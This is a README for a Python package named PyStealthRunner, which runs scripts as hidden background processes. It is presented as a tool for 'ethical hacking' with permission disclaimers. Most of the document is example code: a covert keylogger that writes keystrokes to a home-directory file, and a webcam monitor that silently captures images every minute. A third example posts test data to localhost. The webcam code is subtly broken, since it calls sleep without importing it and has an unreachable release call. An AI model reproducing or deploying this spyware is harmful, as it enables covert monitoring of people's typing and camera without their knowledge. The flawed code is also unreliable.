PyStealthRunner

PyStealthRunner is a Python package for running scripts as background processes without a GUI, ideal for ethical hacking tasks like monitoring or data testing (use only with explicit permission).

How It Works

PyStealthRunner internally manages Python scripts as detached background processes. When you use the Runner class to launch a script, it:

1. Spawns a New Process: Uses Python's subprocess module to start a new interpreter instance running your script, with special environment variables set to indicate background mode.
2. Environment Control: Sets PYSTEALTH_BG=1 for the background process, so your script can detect if it is running in background mode and adjust its behavior accordingly.
3. Process Tracking: Maintains a PID file or in-memory registry to track running scripts, allowing you to check status or stop them later.
4. Cross-Platform: Handles process spawning and termination in a way that works on Windows, Linux, and macOS.
5. Communication: Optionally uses a local TCP port (default: 50506, configurable via PYSTEALTH_PORT) for simple status and control messaging between the main process and background scripts.

This design allows you to run, monitor, and stop scripts programmatically, without needing to manage OS-level process details yourself.

Features

• Run Python scripts discreetly in the background.
• Cross-platform: Windows, Linux, macOS.
• Simple API to start, stop, and check script status.
• Use cases: keylogging, data testing, webcam monitoring (for authorized testing).

Installation

Requires Python 3.6+. Install via pip:

pip install pystealthrunner

Or clone and install:

git clone https://github.com/SdxShadow/PyStealthRunner.git
cd pystealthrunner
pip install .

Usage

Use the Runner class to manage background scripts:

from pystealthrunner import Runner

runner = Runner()
pid = runner.run_script()  # Run current script
print(f"PID: {pid}")
print(runner.status())  # Check running scripts
runner.stop_script(pid)  # Stop script

Methods

• run_script(script_path=None): Runs a script in the background. If no path, uses the calling script. Returns PID.
• stop_script(pid): Stops the script with the given PID.
• status(): Returns PIDs of running scripts.

Environment Variables

• PYSTEALTH_PORT: Communication port (default: 50506).
• PYSTEALTH_BG: Set to "1" for background scripts (auto-handled).

Examples

1. Keylogger

Logs keystrokes to a file for authorized security testing.

from pystealthrunner import Runner
import keyboard
import datetime
import os

if __name__ == "__main__":
    runner = Runner()
    if os.environ.get("PYSTEALTH_BG") != "1":
        pid = runner.run_script()
        print(pid)
        exit()

    log_file = os.path.expanduser("~/keylog.txt")
    while True:
        event = keyboard.read_event(suppress=True)
        if event.event_type == keyboard.KEY_DOWN:
            ts = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
            with open(log_file, "a") as f:
                f.write(f"[{ts}] {event.name}\n")

Run it directly (no extra file needed):

python keylogger.py

Output in ~/keylog.txt:

[2025-07-22 17:34:00] a
[2025-07-22 17:34:01] enter

Note: Requires pip install keyboard. Use only with explicit permission on authorized systems.

2. Data Sender

Sends data to a target URL in the background for testing server responses.

from pystealthrunner import Runner
import requests
from time import sleep
import os

if __name__ == "__main__":
    runner = Runner()
    if os.environ.get("PYSTEALTH_BG") != "1":
        pid = runner.run_script()
        print(pid)
        exit()

    i = 10
    while i > 0:
        try:
            payload = {"data": f"test{i}", "source": "pystealthrunner"}
            requests.post("http://127.0.0.1:9090/submit", json=payload)
            with open(os.path.expanduser("~/data_sent.log"), "a") as f:
                f.write(f"Sent data test{i}\n")
        except:
            pass
        sleep(2)
        i -= 1

Run it directly:

python data_sender.py

Output in ~/data_sent.log:

Sent data test10
Sent data test9

Note: Requires pip install requests. Use only on authorized test servers.

3. Continuous Webcam Monitor

Captures webcam snapshots periodically for security testing.

from pystealthrunner import Runner
import cv2
import datetime
import os

if __name__ == "__main__":
    runner = Runner()
    if os.environ.get("PYSTEALTH_BG") != "1":
        pid = runner.run_script()
        print(pid)
        exit()

    cap = cv2.VideoCapture(0)
    if not cap.isOpened():
        exit()
    save_dir = os.path.expanduser("~/webcam_captures")
    os.makedirs(save_dir, exist_ok=True)
    while True:
        ret, frame = cap.read()
        if ret:
            ts = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
            cv2.imwrite(f"{save_dir}/capture_{ts}.jpg", frame)
        sleep(60)  # Capture every minute
    cap.release()

Run it directly:

python webcam_monitor.py

Saves images to ~/webcam_captures/capture_YYYYMMDD_HHMMSS.jpg.

Note: Requires pip install opencv-python. Use only with explicit permission.

Use Cases

• Ethical hacking: Keylogging, data testing, webcam monitoring (with permission).
• Automation: Run scheduled tasks or silent monitoring.

Notes

• Scripts must be valid .py files.
• Ensure legal authorization for hacking-related scripts.

Troubleshooting

• Script Fails: Verify .py file and dependencies.
• Port Conflicts: Set PYSTEALTH_PORT to an open port.
• Permissions: Ensure write access for PID file and logs.

Contributing

Submit issues or PRs at GitHub.

License

MIT License.